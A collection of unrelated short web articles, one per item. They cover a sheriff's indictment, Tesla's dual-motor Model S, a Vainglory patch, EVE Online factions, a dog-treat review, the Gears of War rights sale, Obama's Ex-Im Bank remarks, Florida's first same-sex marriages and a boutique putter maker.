-Here’s Jackson County (Mississippi) Sheriff Mike Byrd on April 29 of this year, helping lead a local National Day of Prayer event:  The [National Day of Prayer] observance for Jackson County-Pascagoula is set for 11:30 a.m. at the Jackson County Courthouse in Pascagoula. Praise and worship music begins at 11:30 a.m., and the prayer ceremony begins at noon. The program should run approximately 50-minutes. … Praise and worship will be provided by Scott Capers and Church At The Square praise team. Guest soloists include Charlotte Watts, vocalist and music director at Central Elementary School, Rev. John White, music minister at First Baptist Church Pascagoula and Sheriff Mike Byrd.  And here’s Jackson County Sheriff Mike Byrd as of late last week:  A south Mississippi sheriff has been indicted on 31 counts, including charges accusing him of pushing an arrest in a murder case, even though a detective thought the suspect was innocent, and of snooping on employees at a restaurant that refused to accept a check from him. The indictment against longtime Jackson County Sheriff Mike Byrd was dated Thursday and made public Friday. It charges him with using his office to retaliate against people he considered political and personal foes, including the police chief and a city alderman in Ocean Springs, one of the cities in Jackson County. The charges include fraud, extortion, embezzlement, witness tampering and perjury.  Jesus may forgive him… in his mind… but, thankfully, we have more powerful forces here on earth.  (Thanks to Greg for the link!)
-After teasing the Internet with a poorly-worded Twitter announcement earlier in the week, Tesla Motors CEO Elon Musk this evening unveiled a new optional powertrain configuration for the entire line of the company's flagship Model S sedans: dual motors, powering all four wheels.  After making a few good-natured jokes about how he recently received a crash-course in the colloquial meaning of "the D," Musk kicked off the event by having a factory robot hoist an all-wheel drive Model S frame up from beneath the stage. USA Today jumped the gun with their announcement summary, and the report proved accurate. All-wheel drive will be an available option on all Model S trim levels and the new top-end P85D version will have a 0-60 time of 3.2 seconds. It will also feature a small increase in range, to 275 miles, over its rear-wheel drive predecessor.  Standard Model S sedans have until now all featured a single rear motor slung between and slightly behind the car’s rear axle, powering the rear wheels only; the new "D" models will add a second motor between the two front wheels. The new models will have a "D" suffix added to their model, so the entry-level Model S with the 60 kWh battery and all-wheel drive would be the "60D," and the top-end P85 performance model would become the "P85D."  The addition of a second motor to the mix obviously gives the cars surer footing in the wet and on ice. This is a big asset considering the accelerated sales rates of Tesla vehicles in northerly climates—like Norway, where Model S buyers get an enormous tax break for purchasing the electric car. The extra motor benefits the car in other ways besides simply giving all-wheel-drive stability, too: the top-end P85D is faster than even the P85 performance model, too—according to Tesla, the P85D turns in 0-60 mph times of 3.2 seconds, shaving a full second off of the P85+ model’s 0-60 time. Musk said the addition of the second motor will give the D models "half again" as much power as the rear-wheel drive versions. According to Musk, the high performance models will have three driving modes available to choose from: "normal," "sport," and "insane."  A second motor means more power consumption, too, but Musk said that the efficiencies designed into the new drivetrain actually yields an increase in range rather than a decrease. The car will dynamically shift power between the front and rear drive wheels, which Musk says allows the car to propel itself forward with the maximum amount of efficiency for any given speed. The maximum EPA-rated range of the rear-wheel drive 85 kWh models is 265 miles, but the all-wheel drive D variant ekes out an additional 10 miles of range. Based on our hundreds of miles of hands-on time with a Model S last October, we can say that spirited driving can drastically reduce that maximum range number—and adding a second motor and even more acceleration into the mix will almost certainly invite a heavier foot on the accelerator pedal.  But a second motor wasn't all that Musk announced this evening—semi-automous driving enhancements are also on the menu. Musk says that they have "accelerated autopilot," and that all Model S cars produced within the past two weeks has the necessary hardware to support the new "autopilot" features. This hardware includes forward-looking radar, image-recognition cameras, and 360-degree ultrasonic sonar. All these gizmos will give the Model S the ability to read speed limit signs and cruise at whatever the road's limit happens to be, along with the ability to automatically change lanes when a driver indicates with the car's turn signal. The updated autopilot package will also include standard driver assistance tools like lane departure warnings, adaptive cruise control, and automated braking.  Musk also said that the updated autopilot technology will allow the Model S to self-park, parallel parking by itself or even pulling itself automatically into your garage. He also teased that on "private property" (or at least not on public roads), an autopilot-equipped Model S would even be able to pull out of a garage and navigate to where you're waiting for it to pick you up—evoking images of Michael Keaton's Batmobile. You could even, Musk explained, program it to meet you at your doorstep at a certain time every day with the AC running and your favorite music already queued up to play.  The new autopilot functions bring with it a new interface, with the dashboard's central display ditching the round speedometer wheel and instead showing the car's speed and indications of what the sensors are detecting around the vehicle (other cars, obstacles, and so on). The car's electromechanical steering will actively resist being steered into other objects, too. Musk said that the force can be overcome if you try, but the car will push against the driver trying to send it into a collision.  Just last week, Musk told CNN in an interview that he wanted Tesla cars to be "90 percent" self-driving by the end of next year; these automation features help put the company’s products on course to hit that goal. Between the cars’ inbuilt GPS positional awareness and the new features, the majority of the tools necessary for self-driving would now in place. Musk said that the vehicles aren't yet capable of fully autonomous driving, but that is the eventual goal.  The 85 kWh version will be available for delivery in December, while the 60D and P85D models will begin delivery in February. The 60D and 85D will carry a $4,000 price premium over their read-wheel drive variants, while the top P85D adds $14,600 to the P85's already high $93,400 base price. Autopilot is rolled into the technology package, which is a $4,250 option. A stripped 60D with no options beyond the base configuration will cost $75,070, while a fully kitted out P85D with every option except for winter tires will cost $137,720 (both prices are without incentives and before taxes).  Musk didn’t have anything substantive to say about Tesla’s upcoming crossover SUV, the Model X, or the $35,000 Model 3 due out in 2017. Rumors have been swirling that the Model X will have a substantially altered appearance from the prototype and demonstration versions of the vehicle that have been revealed so far, but this evening’s event was focused solely on "the D."
-Happy Holidays! It may still be September, but the Fold is looking mighty scary! Patch 1.9 was released today with so many changes so let me esplain. No, there is too much. Let me sum up.  new hero  Phinn saunters slowly into the Fold slowly like a spun-up SAW. Did I mention he’s slow? Despite his slowness, he’s sure to be some stiff competition. A new support tank, Phinn will definitely change up the meta with his kit.  Unstoppable (Heroic Perk) – He can’t be stunned! Stuns are converted into Slows, and slows are reduced to a maximum of 30%. Try and stop him! He also gains bonus armor, shield, and health (15% of his items). He is the tankiest hero we have seen so far.  (Heroic Perk) – He can’t be stunned! Stuns are converted into Slows, and slows are reduced to a maximum of 30%. Try and stop him! He also gains bonus armor, shield, and health (15% of his items). He is the tankiest hero we have seen so far. Quibble – AOE (Area of Effect) slow in an radius in front of Phinn, at overdrive (at rank five) it becomes a stun with a five second cooldown. With some CDA (Cooldown Acceleration), this can seriously be a game changer.  – AOE (Area of Effect) slow in an radius in front of Phinn, at overdrive (at rank five) it becomes a stun with a five second cooldown. With some CDA (Cooldown Acceleration), this can seriously be a game changer. Polite Company – AOE pull that also provides a barrier of Armor/Shield/Health to any allies within range.  – AOE pull that also provides a barrier of Armor/Shield/Health to any allies within range. Forced Accord – GET OVER HERE! This is Phinn’s defining skill. He throws his anchor, pulling ALL enemies in its path towards him.  Phinn will shake up the meta as he is a strong counter to squishy carries with limited mobility such as Celeste, Skaarf, and Ringo. You simply can’t get away from Phinn. He’s a very strong late game hero as well, as he scales with defensive items. CaptainNeato also mentioned on stream that he’s the first member of a trio of heroes. It should be interesting to see how many people instalock a SUPPORT hero!  skins  We got a new map! Errr… a new map skin! The Fold is glowing an eerie green, with pumpkins, tombstones, and skulls littered everywhere. Be sure to check out some of the cool easter eggs! I won’t spoil them!  Celeste and Petal also got seasonal skins. They are available for a limited time (Until the end of October) and are purchasable via ICE only (1799 ICE each).  We also got two new tiered skins:  Shiro Kage Taka – Tier II  Death Metal Krul – Tier II  I know a certain Krul main who’s name starts with Ady that will be a happy camper today.  Autumn Season and skill tier reset  Your Pre-Season trophy will be finalized as of today. You’ll get to keep it forever in your shiny virtual trophy room! Autumn Season One begins and your current skill tier will be “compressed”. In a nutshell, this means it’ll be lowered by a certain amount (as will everyone else’s).  Breaking news! The compression formula was released by SurpriseBirthday.  (X/2) + 2, where X = your skill tier  EG: Vainglorious Skill Tier 10  (10/2) + 2 = 7  You’ll have three months to climb and attain a new trophy, as well as possible team and guild rewards!  Free Celeste (iOS) and Taka (android)  If you are an iOS player and don’t already own Celeste, you get her for free! Ardan must be pissed, he didn’t raise his daughter to be so cheap. Android users will have to settle for Taka. Sorry Android.  Guilds and teams  For ICE or Glory, you can now create a guild in game! Features include a guild-only chat, prioritizing guild members in your friends list, guild rewards, and a new leveling system. Guilds start at 20 maximum members, but can be increased to 50 by playing games together. You can also create Teams, which have a competitive focus. With a six member maximum, Teams are focused on ranked play. Playing games together ranks up your Team. This is important because the highest ranked teams will actually qualify for real life professional events like VGL and VIPL to win $$$$!  Hero and gameplay changes  Petal  Petal got a complete rework. She now gains 10-40% attack speed whenever her Munions attack a target she marks with a basic attack. To compensate, they reduced her base attack speed to 100% for all levels. Seeds now sprout into Munions automatically after 2.2 seconds, until Petal has three pets. Pets now have ticks of health, just like Fortress’s wolves. Seeds on the ground still provide vision, healing, and defense, but if an enemy walks over a seed it explodes, dealing crystal damage and knocking them backwards. Her range was also nerfed from 7m to 6m. Her new B ability is called Trampoline. Usable only when standing on a seed, Petal will leap in the direction she is facing. This gives Petal a new found mobility she never had before. It’s a step forward in the right direction. There were so many changes in this patch that I don’t think SEMC had enough time to get her numbers right just yet. She’ll be a blast to play with her new mechanics, go enjoy her new kit!  Vox  Another update, another Vox change. His Ult was still too strong, so they changed Reflex block to disable resonance bounces. They also split his Ult into two separate damage waves and increased the cooldown and reduced the Silence duration. To compensate, his A ability now grants 20% more weapon power damage to Vox when overdriven. I foresee a comeback of WP (Weapon Power) Vox with these changes, but CP (Crystal Power) Vox is definitely still viable.  Taka  Taka was dominating the jungle in 1.8, so of course, he gets a nerf. His 20% lifesteal was removed from his heroic perk. Also, his X-Retsu no longer grants three Ki stacks across the board. Instead it grants 1/2/3 stacks as you rank the ability. He does receive one buff to his Kaku ability, which grants him a heal per second for four seconds. However, now you cannot teleport while invisible. It will be interesting to see if Taka will still dominate jungle. I think a shift to WP lane carries may shift the Jungle meta.  Skaarf  Skaarf’s goops now can be lit from other burning goops! Goop train! Choo choo! The smaller of two lizards will continue to be a great lane carry in 1.9.  Ringo  Ringo was overnerfed in 1.8. His Twirling Silver now is a flat six seconds and increases his attack speed from 55% at rank one, to 100% at rank five (was 86%). Ringo will be back in lane as a viable WP carry option. RIP Faith My Left Arm.  Skye  Skye needed some love. She got a HUGE upgrade, and not to her Zettai Ryouiki. Her B ability now resets her A ability, just like SAW. She got reduced cooldowns across the board as well. She can now spam almost all over her abilities, making her very fun to play!  Glaive  WP Glaive was doing too much base damage on his abilities. They shifted his ultimate Bloodsong damage from base damage to a crystal ratio. They also reduced his energy costs on his B ability Twisted Stroke. Glaive will continue to rip arms off of people.  Rona  Rona was also doing a little too much damage. Both of her ratios were tuned down slightly on her B ability Foe Splitter. Her Weapon ratio (70%) now matches her heroic perk ratio of 70%.  Catherine  CP carries beware! Catherine shield now hurts! The biggest change to Catherine is her B ability, Stormguard, now has a CP ratio. On Overdrive, it increases the reflection damage by 25%! Her A ability was tuned slightly with a lower cooldown at max rank, but also a lower stun duration.  items  All of Infusion’s stats now scale for all levels. They were being used too early as a cheap way to gain the early lead and snowball games. How does this change things? Maybe Gadianton will have the answer for us soon. 😉  Stormguard Banner now damages turrets again, but only one Stormguard is effective per team. No more #poopstrat!  Broken Myth now has six stacks of 6%. It takes longer to get to 30%, but now you can gain 36% more crystal damage. It also no longer stacks on turrets or Kraken.  Frostburn got a bug fix where the slow wasn’t increasing with more Crystal Power. Also, the maximum slow was reduced from 40% to 35%.  Piercing spear’s armor piercing was reduced again, from 10% to 8%. They don’t want us stacking too much pierce.  Turrets  Turrets now have a 300 health barrier per second that regenerates up to a max of 600 health if there are no minions or Kraken nearby. This means you can no longer “tank turrets” and plow through them. This is a major change and will make Minion Mines much more important. Lane Minion wave control will also be a thing. You can’t just get an Ace and kill three turrets anymore. This effectively destroys any #poopstrats as well. Minion mines also make Lane minions 15% tankier.  This patch is HUGE, and I’m not talking about Phinn. There were also miscellaneous bug fixes, and more. Read the entire patch notes here. That’s it. I’m done. I’m tired of writing about 1.9. Go play!
-Within the vast Amarr Empire you can peddle in anything from dull agricultural products to slaves and illegal hi-tech wares. Alternatively, you can plot with the Amarr Emperor or the Heirs behind the scenes. Just make sure you're not accidentally crushed by this behemoth of a state. The Remanaquie Federation is the exact opposition of the Amarr Empire. Here, you can wheel and deal as you please. Everything is condoned, even encouraged. The only question is, are you extravagant and decadent enough to make it to the top? The Caldar Empire has only one motto: efficiency. To cut it here you must be willing to follow the rules by the book. But the rewards can be astronomical. Everything the Caldarians do is of the highest quality. Sucker up to them and they'll give you access to the toys of your dreams. The Minmatar Republic is always on the lookout for talented individuals. This is the dream venue for all you clever and ruthless power players. Just remember that the Minmatars consider their promises the same as rubber: not to be broken, but easily bendable.  And then there are the mysterious Jovians. Are they truly human? What is their secret agenda? No one knows but them, but then again, knowledge seems to be what drives them. If it's worth knowing, you can bet the Jovians know. Roaming in their strange-looking ships, using technology far more advanced than everybody else; they truly are the enigma of EVE. But EVE is more than just dealing with the Empires; they're just the top of the iceberg. Underneath it all, at the core of the game, players are dealing with one another. Good or bad relations, nice or nasty - it doesn't matter. The fact that you're competing and cooperating with thousands of other like-minded players, makes EVE more than a game; it's an experience; an alternative reality where you pit your alter-ego against real people all over the world.
-Even the most carefree of pups must grow up eventually.  So, after a few years of study under his sophisticated older brother, it seems that Charlie is finally starting to get serious about his education. One of the things Harley has been trying to get across is an appreciation for the finer things in life.  Life isn’t just about eating as much as you can, as fast as you can! It’s always good to class things up from time to time and learn more about the world around you!  A Perfect Learning Opportunity  As proud brand ambassadors for Full Moon Dog Treats we recently received a package of their latest concoction – a line of gourmet dog treats.  Harley thought that this would be the perfect chance to set up a proper tasting and work on refining Charlie’s palate.  Introducing Full Moon Artisanal Dog Treats  Just like the rest of their products, Full Moon’s Artisinal treats are all natural, grain free and cooked in small batches. They are also sourced right here in the USA. What really sets these treats apart however, is the tantalizing flavor combinations!  Reading through these flavors, you will want to dig in! While they are 100% human grade, they are actually meant for your furry friends instead!  Black Cherry BBQ Beef Jerky  Honey Peach Pork Jerky  Rosemary Apple Chicken Jerky  Mmmmm….getting hungry yet?  Click here to check out these Treats on Amazon!  About Full Moon Pet  Full Moon is a subsidiary of Purdue, a family owned and operated company that has been in the food business for nearly half a century. One look at their mission statement will give you a great idea of just what they represent…  If it’s not good enough for us to eat, it’s not good enough for our pets.  We couldn’t agree more!  Full Moon sources all ingredients right here in America, to keep a close eye on the manufacturing process and better assure quality.  Check out our previous Full Moon Dog treat reviews to learn more about their natural cut jerky dog treats and gourmet chicken treats!  Back to the Artisanal Treats…  Let’s take a quick look at the flavor profiles before Harley lays out the taste test.  Black Cherry BBQ Beef Jerky  These savory treats feature tender beef that has been marinated in black cherry. Not only is this sauce especially tantalizing for dogs, but it is rich in antioxidants as well. Full Moon’s artisanal Beef Jerky treats are moist and easily digestible.  American ranch raised beef  Contains glucosamine and chondroitin which promote joint health  Honey Peach Pork Jerky  Peach marinated pork topped with a drizzle of honey. Are you getting jealous?!!  Cage free pork farm raised in America  Free of corn, wheat, soy and glycerin  Supports healthy skin & coat  Rosemary Apple Chicken Jerky  Tender, rosemary infused chicken with a hint of sweetness from orchard pressed apples.  Cage free chicken farm raised right here in the USA  Glucosamine and Chondroitin  Getting Down to Business – A Feast for the Senses  Harley carefully developed a lesson to teach his little brother how to properly evaluate the quality of a dog treat.  To start things off, one must know how to properly read an ingredient label. This is very important for any dog trying to refine his tastes and sharpen his skills. How can you get better at identifying flavors without knowing what they are?!  Harley made sure to point out that the first ingredient in all of Full Moon’s treats is meat – a lack of fillers is a true sign of quality!  Next, Harley set out all 3 flavors for the visual examination and smell test. He wanted to make sure that Charlie noted the texture and how the treats tear along the natural striations in the meat. Whole muscle meat is exactly what a dog want’s to see!  After careful inspection, Charlie was instructed to move on to the smell test. It is very important for dogs to be able to identify the scent of meat and jerky so as to know when his parents may be hiding something tasty from them. Charlie had a bit of a slip up during this portion of the lesson…instead of simply allowing his nose to fully appreciate the aroma he may have snuck a quick taste of his own!  Next up…the taste test! Both boys were more than ready to explore the last and most critical part of their evaluation. These treats were devoured in no time and both boys gave glowing remarks.  The final objective in the lesson was a blind taste test. Harley wanted to see if his brother had focused enough throughout the lesson to be able to properly identify flavor by smell and taste alone. We selected a strip of Honey Peach Pork Jerky for the test subject.  Harley was very proud of his brother for passing, but upon further review it looks like somebody may have been peeking!  Why MyDogLikes Full Moon Artisanal Dog Treats  It is always fun to spice things up, and we love that Full Moon has found a way to do this while sticking to their impeccable quality standards. As always, these treats are all natural and grain free. They recommend to refrigerate after opening which in our eyes is a great thing. Real food should go bad if it stays out! Anyways, it has been a long time since our fridge and freezer weren’t loaded with dog food or treats of some kind!  So whether your dog is still working on his manners (like Charlie) or already a sophisticated gentleman (like Harley), these may be the perfect gourmet treat for you.  Want to give these treats a try?  Click here to Purchase on Amazon!
-Microsoft already has the rights to the Halo series, and now it's adding another blockbuster to its stable of franchises: Gears of War. The company announced today that it has acquired the rights for the series from developer Epic Games. While no new Gears of War games were announced, development for the series will be handled by Microsoft Studios' Vancouver-based subsidiary Black Tusk Studios. Former series producer Rod Fergusson will be joining Black Tusk to "play a key studio leadership role" on the franchise.  "We hope to be able to share more news about Gears of War later this year."  It appears to be a similar arrangement to when Microsoft acquired the rights for Halo from developer Bungie, and passed development responsibilities off to a newly formed studio called 343 Industries, which went on to launch Halo 4. The deal includes the rights to "all existing and future games, entertainment experiences, and merchandise" in the Gears of War universe. As for when we might see the results of this new partnership, Black Tusk general manager Hanno Lemke says that "We hope to be able to share more news about Gears of War later this year."
-Conservative Republicans and the broader tea party movement have made a cause célèbre out of the little-known Export-Import Bank, which helps U.S. companies sell overseas by guaranteeing loans to foreign purchasers. The business community -- backed by many Democrats and President Obama -- says the federal agency is a critical tool that helps U.S. companies compete with foreign rivals. Many other countries provide the same type of financing to help their industries. Republicans, too, have long supported the bank, at least until the tea party started raising concerns in 2012 about whether it represented a giveaway to big business.  That year, then-House Majority Leader Eric Cantor (R-Va.) supported a deal that saved the bank. But amid howls that the bank is a symbol of "crony capitalism," Cantor's successor, Rep. Kevin McCarthy (R-Calif.), has said he would like to see the bank's authorization expire, which is set to happen Sept. 30 without congressional action.  Now the twist: It turns out that the tea party had a prominent, onetime ideological ally in the fight against Ex-Im bank. His name was Barack Obama.  Weeks before he was elected president, Obama said the Ex-Im Bank was "little more than a fund for corporate welfare." A video of the remarks, above at the 30-second mark, was put online in 2012 by the Club for Growth, which opposes Ex-Im. Here were Obama's full remarks:  I am not a Democrat who believes that we can or should defend every government program just because it's there. There are some that don't work like we had hoped, like the Bush Administration's billion-dollar-a-year reading program that hasn't improved our children's reading. And there are some that have been duplicated by other programs that we just need to cut back, like waste at the Economic Development Agency and the Export-Import Bank that has become little more than a fund for corporate welfare.  I understand there are parts of these programs worth defending, and politicians of both parties who will do so. But if we hope to meet the challenges of our time, we must make difficult choices. As president, I will go through the entire federal budget, page by page, line by line, and I will eliminate the programs that don't work and aren't needed.  The administration now is strongly supporting reauthorization of the bank. I asked the White House how it reconciles its current position with Obama's remarks as a candidate. A spokesman, Eric Schultz, sent over this statement:  Since the President took office, the Ex-Im bank has served an important role in helping firms access financing when private sources of finance dried up as a result of the recession in the beginning of the administration. Since then, the Ex-Im bank has been a vital source for these firms, and is key to helping us achieve our export goals and supporting thousands of businesses across the country large and small. We urge Congress to act to reauthorize the bank  Pressed further on how Obama explains the change in his views since 2008, the White House added that Congress directed reforms to Ex-Im in 2012 that required, among other things, submitting quarterly reports to Congress about its default rate and submitting Federal Register notice for each transaction over $100 million. It also noted that President Ronald Reagan supported Ex-Im in the 1980s.
-The doors to same-sex marriage were flung open wide in Florida early Tuesday as hundreds of couples applied for licenses and then repeated wedding vows in ceremonies that served to mark a major shift in public acceptance.  Nowhere was the lifting of the state's ban on gay marriage more dramatic or emotional than in the main jury room at the Broward County Courthouse, where Clerk of Court Howard Forman married 106 couples in a wave of group ceremonies held between 2 and 5 a.m.  "Being part of the movement that equalized all marriages really punctuates the validity of our relationship and the validity of our marriage," said Donna Solomon-Carter after she and her partner Deb Solomon-Carter fulfilled a dream they had nurtured since becoming engaged more than three years ago.  The newlyweds said legal status as a couple would immediately give them health insurance through Deb's employer, Publix. The company "made a big announcement that they're going to acknowledge and allow same sex spouses to jump right in (and share benefits) so that's probably the first thing we're going to tackle," said Donna Solomon-Carter.  Added Deb Solomon-Carter: "As of Jan. 1, they were going to recognize not just couples married in Florida but anybody who's married in a state where it's legal."  Florida became the 36th state, along with Washington, D.C., to recognize same-sex marriage following the expiration of a stay on a federal ruling striking down the state's ban as unconstitutional. Seventy percent of Americans now live in states where same-sex couples can legally wed.  Same-sex marriage is legal in Florida as of Jan. 6, 2015. See and share photos of same-sex weddings around the state. ( Click here to upload your photos.  Marriages began in Miami-Dade County on Monday when Miami-Dade County Circuit Judge Sarah Zabel lifted the stay on her ruling in a case in which six same-sex couples challenged the marriage ban. Judge Zabel lifted the stay following a motion by Miami-Dade County Clerk Harvey Rubin in response to a federal judge's order.  At 12:01 a.m. Tuesday, the state's other 66 counties were allowed to issue licenses to same-sex couples.  In Palm Beach County, Irene Kalinowski and Dana Murphy went to the South County Courthouse in Delray Beach around 10:30 p.m. Monday with no intention of getting married. They wanted only to pick up a marriage license, they said.  But once there, joining some 100 other couples, the Jupiter couple of 15 years got swept up in the excitement. "Being able to be a part of Florida's history of equal marriage just felt right," said Kalinowski, 44.  "Oddly enough, I'm surprised that it feels this good to have this piece of paper," Kalinowski said, holding a marriage certificate. "I didn't think I'd feel any different. Now that it's legally recognized, we have the same rights and I don't have to worry if anything happens. I feel like I'll sleep so much better."  While the end of the ban was welcomed in much of South Florida, some objections were sounded in the more conservative northern sections of the state.  In Jacksonville, Duval County Court Clerk Ronnie Fussell shut down the courthouse chapel, saying no marriage ceremonies — gay or straight — would be allowed there. At least two other counties in northeast Florida did the same.  "The day is going to come very soon where America is going to wake up and say, 'Whoa! Wait a second! I wanted two guys to live together. I didn't want the fundamental transformation of society,'" said John Stemberger, president of the Florida Family Policy council. He led the petition drive to put the gay marriage ban on the ballot back in 2008.  But in gay-friendly Key West, the party was on. Aaron Huntsman and William Lee Jones received the Keys' first marriage license issued to a same-sex couple early Tuesday. They exchanged nuptials in matching black tuxedos with blue vests, in front of several hundred people on the steps of the Monroe County Courthouse.  Back in Broward, Tammy Lopez and her partner, Jessica Nielsen, arrived at the courthouse at 6:30 p.m.Monday, not wanting to get shut out.  "I didn't think I'd be No. 1, but I didn't want to be No. 100," Lopez said. The couple was No. 4. They were among the first group to get their licenses, though they decided to wait until the mass wedding to get hitched.  They could wait. Lopez and Nielsen met seven years ago. They were neighbors in an apartment complex. Two years ago, they had a commitment ceremony that had all the trappings of a big, traditional wedding ceremony.  "This just makes it official," Lopez said.  Stork's Bakery put out cake and coffee as a diverse group of gay and lesbian couples, about 200 by 12:15 a.m., milled about the room. It was hurry-up-and-wait as couples turned in their applications, waited to get them processed, waited to pay their fees, waited to get a hardship waiver in order to avoid the three-day waiting period and get married immediately.  Nancy Brodzki, the lawyer who successfully fought to have a Broward circuit judge overturn the state's same-sex marriage ban, stood at the front of one line. Once a lawyer fighting for a client trying to get her marriage recognized so she could divorce, now, Brodzki was waiting to get married herself.  She led another round of people down a hallway to pay their fees as the next 10 in line took their place.  Sheriff Scott Israel walked up to the front of the room as Brodzki disappeared through a door.  "Good evening everybody," Israel said. "I guess you could call this a historic night."  The crowd cheered as Israel congratulated two police officers who were getting married.  For many couples, exchanging vows had been a long time coming.  Donna Muratore and Alicia Maldonado tied the knot after 25 years together.  "It means a lot, it's historic, we never thought we'd see this in our lifetime and now that it's legal it makes it important because we have the same rights as man and wife, as spouses and as partners," said Donna Muratore.  "We've been waiting a long time," said Alicia Maldonado. "We're very happy."  Ashley Foulds and Cori Graham brought the whole family to the Delray Beach courthouse Monday night, deciding their three kids could skip school Tuesday to see them exchange vows.  "They want to know, 'Where's your wedding album?'" said Foulds, who wore a lace dress. "And we've had to tell them, We're not allowed to get married.' So this is for them as much as us."
-Low Tide Custom Putters offers a variety of personalization options on putters and also offers a "Putting Puck" which is great for practice any time, especially on a crowded green before tee off.  In case you didn't know, your options for high-quality/high-end putters isn't limited to what you find in your local golf shop.  There are quite a few boutique putter makers out there who not only build incredible putters that can double up as pieces of art, but they can also customize your flat-stick however you desire.  One of those boutique putter makers relatively new to the business are Josh Bumgarner and Zack Potts, owners of Charlotte, N.C.-based, "Low Tide Custom Putters."  TOURNAMENT OF CHAMPIONS: Insider's take on Kapalua | Five players to watch in Maui | Leaderboard  Like most great stories in these circles, Low Tide's started on the golf course.  In the spring of 2012, Bumgarner and Potts where playing a round of golf when they came up with the idea to design their own custom putters. They strived to come up with something that couldn't be purchased off the rack -- something that was more personal and could be passed down through generations for families.  Between the two, 10 years of design experience and another 12 years of machining and CAD experience, Bumgarner (Low Tide owner, putter designer, putter maker, CNC programmer and machinist) and Potts (Low Tide owner, putter designer, graphic designer and marketing specialist) were able to make their vision become a reality.  We recently caught up with Bumgarner and Potts for a Q&A about the new company.  PGA.com: Tell me a little about yourself. What is it that got you involved in making putters?  Potts: Josh and I met on the golf course. We knew that there were many putters available to the public, but we wanted to create something that was unique and personal. Having over 10 years of design experience and a dozen years of machining and CAD experience under our belts, we knew that we had the know-how to make it happen. We each have been playing the game for nearly 30 years, so we knew what we wanted. We came up with a couple of designs that we liked and started working on them.  RELATED: Salty Grips bring cork to your putter | Visit PGA.com's extensive equipment page  PGA.com: Was this a hobby that turned into a business?  Bumgarner: It was completely a hobby, until we made our first putter... The night that we made the original FIN, we looked at each other and knew that we had started something special. After we shared our story online, we immediately received positive feedback. Within the first 30 minutes of our story being posted, we already had nearly a dozen inquiries of people asking how and where they could purchase one of our putters. We didn't expect that at all.  PGA.com: Boutique putter makers -- such as yourself -- seem to be popping up all over the place lately. Why do you think that is? Do you all just envision a need or want that you can't seem to find elsewhere?  Potts: There are many great putter makers out there but we live in a day and age where people want something different, something personal. Using the foundation for the designs of our putters, we allow the customer to have say in how their putter is made. We want it to fit their eye perfectly. Many off the rack companies don't make that accessible for the majority of golfers.  PGA.com: What separates Low Tide putters from others?  Bumgarner: We allow the customer to customize in more ways than one. Many manufacturers are mass producing their clubs and because of this, they limit the number of adjustments that can be made to their product. We're different. If someone calls us and wants a putter with 8 degrees of loft, 63 degree lie angle, and a length of 38.25 inches, we'll make it happen. We also like to keep our customers updated as much as possible during the process. We usually send pictures of the putters in progress so that they can see where their putter is during different stages.  PGA.com: Tell me about your current offerings. It looks like you've got three different models with seemingly endless customization options.  Potts: We set out to make putters that are different, not similar. We keep it simple. We use minimal lines with easy alignment. When we designed the first putter, the FIN, we wanted to make a wide body blade style putter that squared up to the target easily. The Whale Tail followed shortly after. We knew that Mallets were hot in the marketplace and that they were growing in popularity .  PGA.com: What has been the highlight of Low Tide so far? Any customer feedback that truly sticks out?  Bumgarner: We think that the customers deserve all of the credit. We have a lot of passion for what we do but to receive the kind of feedback that we do on a regular basis is incredible. We love getting emails or phone calls saying how they were completely blown away by their experience and how well the putter feels.  PGA.com: Can you tell us about the process involved in making a putter?  Potts: Each one of our putters is milled from a solid billet. Nothing is cast and every piece that we do, is done by us in Charlotte, N.C. Because each piece is milled on the CNC, the tolerances are extremely tight and we are able to produce a high quality and precise product for our customers.  PGA.com: How did you come up with the name, "Low Tide?"  Bumgarner: After brainstorming about 200 different names, we each picked our favorites. Low Tide was the one that we both picked as our first choice. We live in Charlotte and love the beach. We feel that the words alone can evoke a feeling or memory in people. We wanted something casual, laid back, and fun.  PGA.com: Along with the beautiful putters, you also offer something called, "the Putting Puck." Tell our readers about it. It looks like a fantastic tool to keep in the bag for those times when you want to warm up on a practice green only to find there are no holes cut out on the green -- or great even for putting practice at home.  Potts: We wanted to create something for our first 20 customers as a commemorative token, but we wanted it be useful. The putting puck was designed to be the exact diameter of a golf hole. You never want to show up at the course on a Saturday morning and try to compete for one of the five holes on the practice green. The putting puck is a great tool (and conversation piece) to have in your golf bag or at home. Because it's mobile, you can place it anywhere on the putting surface to practice the type of putts that you need to.  PGA.com: If someone was trying to decide between a Low Tide putter and one from a big-time manufacturer in a box store, why would you encourage them to lean toward Low Tide?  Bumgarner: During our research, we've discovered that most people are not using a putter that fits their stroke. Our goal is to not only make you a stellar flat stick, but also make sure it's set up for you. For years it seems the industrial standard has been 71-degree lie angle. We have found most golfers have a flatter lie angle. The average seems to be around 68 degrees. We believe that the optimal position for the putter head is for the sole to lay flat on the ground. The putter should be parallel with the ground at impact. All putters have loft and when the toe or heel is pointed toward the sky a compound angle is created causing the face angle to open or close.  PGA.com: I read on your site where you want your putters to be something that people can pass down in the family -- almost like a family keepsake. How satisfying is it when you complete a putter for a customer that tells a story? Is there any one in particular you can share with us?  Potts: When someone places a custom order we really want the experience to be personal. There have been some amazing stories that our customers have shared with us on why they have chosen the custom engravings that they want to include. From children and loved ones, to meaningful nicknames and lucky numbers, it is a piece of their story and we are happy to apply it to something that they will be proud to use out on the course. Golf is a social sport and we want our customers to be proud to share their personal story when someone asks about their putter during a round.  To learn more about Low Tide Custom Putters, visit www.lowtideputters.com. You can also find Low Tide on Facebook, YouTube and Twitter, @LowTidePutters.  Pricing for Low Tide Custom Putters start at $275 and go up depending on finish and level of personalization.  Follow T.J. Auclair on Twitter, @tjauclair.
